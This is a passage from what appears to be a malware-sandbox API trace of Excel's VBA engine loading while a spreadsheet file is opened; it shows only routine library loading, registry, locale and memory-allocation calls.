returned 77 [0077.825] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName="MSI.DLL", phModule=0x7fee5e41418 | out: phModule=0x7fee5e41418*=0x7fefa750000) returned 1 [0077.826] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7fefa7d3b3c [0077.827] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiGetProductCodeA") returned 0x7fefa7ca13c [0077.827] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiReinstallFeatureA") returned 0x7fefa7d1618 [0077.828] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiProvideComponentA") returned 0x7fefa7cf088 [0077.839] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0077.839] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0077.839] lstrcpyW (in: lpString1=0x270a00, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0077.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", cchWideChar=-1, lpMultiByteStr=0x2708f0, cbMultiByte=135, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", lpUsedDefaultChar=0x0) returned 68 [0077.840] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0078.484] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee57c0000 [0078.533] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000c27) returned 1 [0078.533] GetLastError () returned 0x0 [0078.534] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoVBADigSigCallDlg") returned 0x7fee58c72c0 [0078.534] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoVbaInitSecurity") returned 0x7fee58360b0 [0078.535] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7fee57e1a60 [0078.535] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7fee5835f50 [0078.535] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFInitOffice") returned 0x7fee57df000 [0078.536] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoUninitOffice") returned 0x7fee57ce860 [0078.536] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFGetFontSettings") returned 0x7fee57c3fc0 [0078.537] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoRgchToRgwch") returned 0x7fee57d2380 [0078.537] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoHrSimpleQueryInterface") returned 0x7fee57c7b80 [0078.537] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7fee57c7b20 [0078.544] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFCreateControl") returned 0x7fee57c8730 [0078.545] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFLongLoad") returned 0x7fee5903260 [0078.545] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFLongSave") returned 0x7fee5903280 [0078.546] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFGetTooltips") returned 0x7fee57d1f40 [0078.546] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFSetTooltips") returned 0x7fee5836370 [0078.546] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFLoadToolbarSet") returned 0x7fee5824590 [0078.547] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFCreateToolbarSet") returned 0x7fee57c55b0 [0078.547] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoHpalOffice") returned 0x7fee57d0240 [0078.547] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFWndProcNeeded") returned 0x7fee57c3d10 [0078.548] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFWndProc") returned 0x7fee57c6d30 [0078.548] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFCreateITFCHwnd") returned 0x7fee57c3d40 [0078.549] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoDestroyITFC") returned 0x7fee57ce6f0 [0078.549] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7fee57cdf40 [0078.549] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFGetComponentManager") returned 0x7fee57c7bf0 [0078.550] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoMultiByteToWideChar") returned 0x7fee57cfcd0 [0078.550] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoWideCharToMultiByte") returned 0x7fee57c8b20 [0078.550] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoHrRegisterAll") returned 0x7fee58c2ef0 [0078.551] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFSetComponentManager") returned 0x7fee57d42c0 [0078.551] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFCreateStdComponentManager") returned 0x7fee57c3e20 [0078.551] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFHandledMessageNeeded") returned 0x7fee57cab10 [0078.552] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoPeekMessage") returned 0x7fee57ca7d0 [0078.552] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFCreateIPref") returned 0x7fee57c1550 [0078.553] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoDestroyIPref") returned 0x7fee57ce830 [0078.553] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoChsFromLid") returned 0x7fee57c13d0 [0078.554] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoCpgFromChs") returned 0x7fee57c6660 [0078.554] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoSetLocale") returned 0x7fee57c1500 [0078.554] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7fee57c3dd0 [0078.555] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoSetVbaInterfaces") returned 0x7fee58c71e0 [0078.555] GetProcAddress (hModule=0x7fee57c0000, lpProcName="MsoGetControlInstanceId") returned 0x7fee5896d10 [0078.555] GetProcAddress (hModule=0x7fee57c0000, lpProcName="VbeuiFIsEdpEnabled") returned 0x7fee59098e0 [0078.556] GetProcAddress (hModule=0x7fee57c0000, lpProcName="VbeuiEnterpriseProtect") returned 0x7fee5909830 [0078.557] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x2709e0, nSize=0x118 | out: lpBuffer="\xaf\x01") returned 0x0 [0078.557] SetErrorMode (uMode=0x8001) returned 0x8001 [0078.557] GetModuleFileNameA (in: hModule=0x7fee5a60000, lpFilename=0x2706f0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0078.557] lstrcpyA (in: lpString1=0x2705e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0078.558] lstrcpyA (in: lpString1=0x2705e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0078.558] lstrcpyA (in: lpString1=0x2705e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0078.558] lstrcpyA (in: lpString1=0x2705e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0078.558] lstrcpyA (in: lpString1=0x2705e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0078.558] lstrcpyA (in: lpString1=0x2705e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0078.558] strcpy_s (in: _Dst=0x270800, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0078.558] _ultoa_s (in: _Val=0x409, _DstBuf=0x270360, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0 [0078.558] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033") returned 0x0 [0078.558] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\") returned 0x0 [0078.558] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0078.558] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 75 [0078.558] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x270210, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1 [0078.558] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0078.560] strcpy_s (in: _Dst=0x270490, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0078.560] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x7fee6a30000 [0078.563] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000c28) returned 1 [0078.563] GetSystemDefaultLCID () returned 0x409 [0078.564] GetUserDefaultLCID () returned 0x409 [0078.564] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x270b20, cchData=2 | out: lpLCData=".") returned 2 [0078.564] GetStockObject (i=13) returned 0x18a002e [0078.564] GetObjectA (in: h=0x18a002e, c=60, pv=0x270ac0 | out: pv=0x270ac0) returned 60 [0078.564] lstrcpyA (in: lpString1=0x7fee5e41b70, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0078.564] lstrcpyA (in: lpString1=0x7fee5e40b40, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0078.564] GetModuleFileNameA (in: hModule=0x7fee5a60000, lpFilename=0x270b60, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0078.565] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0078.565] lstrcpyA (in: lpString1=0xcd1c4e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0078.565] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x2709f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0078.565] GetVersionExA (in: lpVersionInformation=0x270a50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0x270a50*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0078.565] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x270978 | out: phkResult=0x270978*=0xc2a) returned 0x0 [0078.565] strcpy_s (in: _Dst=0x270980, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0078.565] strcpy_s (in: _Dst=0x270a00, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0078.565] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0078.565] RegQueryValueA (in: hKey=0xc2a, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x270a00, lpcbData=0x270970 | out: lpData="\x0f}\x02\x01", lpcbData=0x270970) returned 0x2 [0078.566] RegCloseKey (hKey=0xc2a) returned 0x0 [0078.566] OleInitialize (pvReserved=0x0) returned 0x1 [0078.566] OaBuildVersion () returned 0x321396 [0078.566] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7feffd80000 [0078.566] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000c29) returned 1 [0078.567] GetLastError () returned 0x0 [0078.567] GetProcAddress (hModule=0x7feffd80000, lpProcName="SysFreeString") returned 0x7feffd81320 [0078.567] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLib") returned 0x7feffd8f1e0 [0078.568] GetProcAddress (hModule=0x7feffd80000, lpProcName="RegisterTypeLib") returned 0x7feffddcaa0 [0078.568] GetProcAddress (hModule=0x7feffd80000, lpProcName="QueryPathOfRegTypeLib") returned 0x7feffe11760 [0078.568] GetProcAddress (hModule=0x7feffd80000, lpProcName="UnRegisterTypeLib") returned 0x7feffe120d0 [0078.569] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleTranslateColor") returned 0x7feffdac760 [0078.569] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreateFontIndirect") returned 0x7feffddecd0 [0078.569] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePictureIndirect") returned 0x7feffdde840 [0078.570] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleLoadPicture") returned 0x7feffdef420 [0078.570] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7feffde4ec0 [0078.571] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePropertyFrame") returned 0x7feffde9350 [0078.571] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleIconToCursor") returned 0x7feffdb6e40 [0078.571] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLibEx") returned 0x7feffd8a550 [0078.572] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleLoadPictureEx") returned 0x7feffdef320 [0078.572] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0078.572] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0078.572] GetClassInfoA (in: hInstance=0x7fee5a60000, lpClassName="VBBubble", lpWndClass=0x270ab0 | out: lpWndClass=0x270ab0) returned 0 [0078.572] RegisterClassA (lpWndClass=0x270ab0) returned 0x818b0fc4c1be [0078.572] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000c2a) returned 1 [0078.572] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630 [0078.572] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a [0078.572] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7 [0078.572] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7 [0078.572] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf [0078.572] GlobalAddAtomA (lpString="VBDisabled") returned 0x818c0fc4c113 [0078.572] RegisterClassExA (param_1=0x270bd0) returned 0x818f0f58c1bf [0078.572] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000c2b) returned 1 [0078.575] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7fee5a60000, lpParam=0x0) returned 0x202cc [0078.576] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000c2c) returned 1 [0078.576] GetVersionExA (in: lpVersionInformation=0x2709c0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2709c0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0078.576] GetModuleHandleA (lpModuleName="USER32") returned 0x77a20000 [0078.577] GetProcAddress (hModule=0x77a20000, lpProcName="GetSystemMetrics") returned 0x77a394f0 [0078.577] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromWindow") returned 0x77a35f08 [0078.577] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromRect") returned 0x77a32b00 [0078.578] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromPoint") returned 0x77a2ab64 [0078.578] GetProcAddress (hModule=0x77a20000, lpProcName="EnumDisplayMonitors") returned 0x77a35c30 [0078.579] GetProcAddress (hModule=0x77a20000, lpProcName="GetMonitorInfoA") returned 0x77a2a730 [0078.579] GetProcAddress (hModule=0x77a20000, lpProcName="EnumDisplayDevicesA") returned 0x77a2a5b4 [0078.579] MonitorFromWindow (hwnd=0x202cc, dwFlags=0x2) returned 0x10001 [0078.579] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x270bd0 | out: lpmi=0x270bd0) returned 1 [0078.579] SetWindowPos (hWnd=0x202cc, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0078.580] GetVersion () returned 0x1db10106 [0078.580] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7feffd80000 [0078.580] GetProcAddress (hModule=0x7feffd80000, lpProcName="DispCallFunc") returned 0x7feffd82270 [0078.581] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLibEx") returned 0x7feffd8a550 [0078.581] GetProcAddress (hModule=0x7feffd80000, lpProcName="UnRegisterTypeLib") returned 0x7feffe120d0 [0078.581] GetProcAddress (hModule=0x7feffd80000, lpProcName="CreateTypeLib2") returned 0x7feffe0dbd0 [0078.582] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDateFromUdate") returned 0x7feffd85c90 [0078.582] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarUdateFromDate") returned 0x7feffd86330 [0078.583] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetAltMonthNames") returned 0x7feffda66c0 [0078.583] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNumFromParseNum") returned 0x7feffd84710 [0078.583] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarParseNumFromStr") returned 0x7feffd848f0 [0078.584] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromR4") returned 0x7feffdbb640 [0078.584] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromR8") returned 0x7feffdbb360 [0078.585] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromDate") returned 0x7feffdc2640 [0078.585] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromI4") returned 0x7feffda58a0 [0078.586] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromCy") returned 0x7feffda5820 [0078.586] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarR4FromDec") returned 0x7feffdbaf20 [0078.586] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7feffdda0c0 [0078.587] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetRecordInfoFromGuids") returned 0x7feffe12160 [0078.587] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayGetRecordInfo") returned 0x7feffda5af0 [0078.588] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArraySetRecordInfo") returned 0x7feffda5a90 [0078.588] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayGetIID") returned 0x7feffda5a60 [0078.588] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArraySetIID") returned 0x7feffda5a30 [0078.589] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayCopyData") returned 0x7feffd860b0 [0078.589] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7feffd83e90 [0078.589] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayCreateEx") returned 0x7feffdd9f80 [0078.590] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormat") returned 0x7feffe09b20 [0078.590] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatDateTime") returned 0x7feffe09aa0 [0078.591] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatNumber") returned 0x7feffe09990 [0078.591] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatPercent") returned 0x7feffe09890 [0078.591] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatCurrency") returned 0x7feffe09770 [0078.592] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarWeekdayName") returned 0x7feffdeb8d0 [0078.592] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMonthName") returned 0x7feffdeb800 [0078.592] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAdd") returned 0x7feffe048e0 [0078.593] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAnd") returned 0x7feffe09470 [0078.593] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCat") returned 0x7feffe096a0 [0078.594] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDiv") returned 0x7feffe02fe0 [0078.594] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarEqv") returned 0x7feffe09cf0 [0078.594] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarIdiv") returned 0x7feffe08ff0 [0078.595] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarImp") returned 0x7feffe09c00 [0078.595] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMod") returned 0x7feffe08e60 [0078.595] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMul") returned 0x7feffe03690 [0078.596] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarOr") returned 0x7feffe092d0 [0078.596] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarPow") returned 0x7feffe02e80 [0078.597] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarSub") returned 0x7feffe03f90 [0078.597] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarXor") returned 0x7feffe091a0 [0078.597] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAbs") returned 0x7feffde7c30 [0078.598] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFix") returned 0x7feffde7a60 [0078.598] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarInt") returned 0x7feffde7890 [0078.598] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNeg") returned 0x7feffde7ea0 [0078.599] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNot") returned 0x7feffe09600 [0078.599] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarRound") returned 0x7feffde76a0 [0078.600] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCmp") returned 0x7feffe083f0 [0078.600] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecAdd") returned 0x7feffdb3070 [0078.601] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecCmp") returned 0x7feffdbd700 [0078.601] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarBstrCat") returned 0x7feffdbd890 [0078.601] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCyMulI4") returned 0x7feffd9caf0 [0078.602] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarBstrCmp") returned 0x7feffda8a00 [0078.603] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xaeb89a0 [0078.603] GetUserDefaultLCID () returned 0x409 [0078.613] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0x74fe7e0 [0078.613] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x712aa00 [0078.613] IMalloc:Alloc (This=0x7feffc15380, cb=0x20000*=0x78746341) returned 0xb3be830 [0078.614] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xaeb7b30 [0078.615] IMalloc:Alloc (This=0x7feffc15380, cb=0x7d8) returned 0xb1037d0 [0078.616] IMalloc:Alloc (This=0x7feffc15380, cb=0x98) returned 0xb05e8c0 [0078.616] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xaeb82e0 [0078.617] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xaeb82b0 [0078.622] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", lpString2="") returned 1 [0078.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchWideChar=-1, lpMultiByteStr=0x271160, cbMultiByte=115, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 58 [0078.623] lstrlenA (lpString="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 57 [0078.623] lstrcpyA (in: lpString1=0xcd1c750, lpString2="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" [0078.623] SetCursor (hCursor=0x10007) returned 0x10007 [0078.623] GetCurrentThreadId () returned 0x92c [0078.623] GetCurrentThreadId () returned 0x92c [0078.624] IMalloc:Alloc (This=0x7feffc15380, cb=0x4) returned 0x2571fa0 [0078.624] IMalloc:Alloc (This=0x7feffc15380, cb=0xf0) returned 0x747f280 [0078.624] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb300720 [0078.624] IMalloc:Alloc (This=0x7feffc15380, cb=0x280) returned 0x7395b40 [0078.625] IMalloc:Alloc (This=0x7feffc15380, cb=0xa08) returned 0xb21f640 [0078.625] IMalloc:Alloc (This=0x7feffc15380, cb=0x1738) returned 0xb3b2810 [0078.625] GetLocalTime (in: lpSystemTime=0x270968 | out: lpSystemTime=0x270968*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x4, wDay=0x1, wHour=0x9, wMinute=0x1b, wSecond=0x25, wMilliseconds=0x2fd)) [0078.625] _ultow_s (in: _Value=0x5db80609, 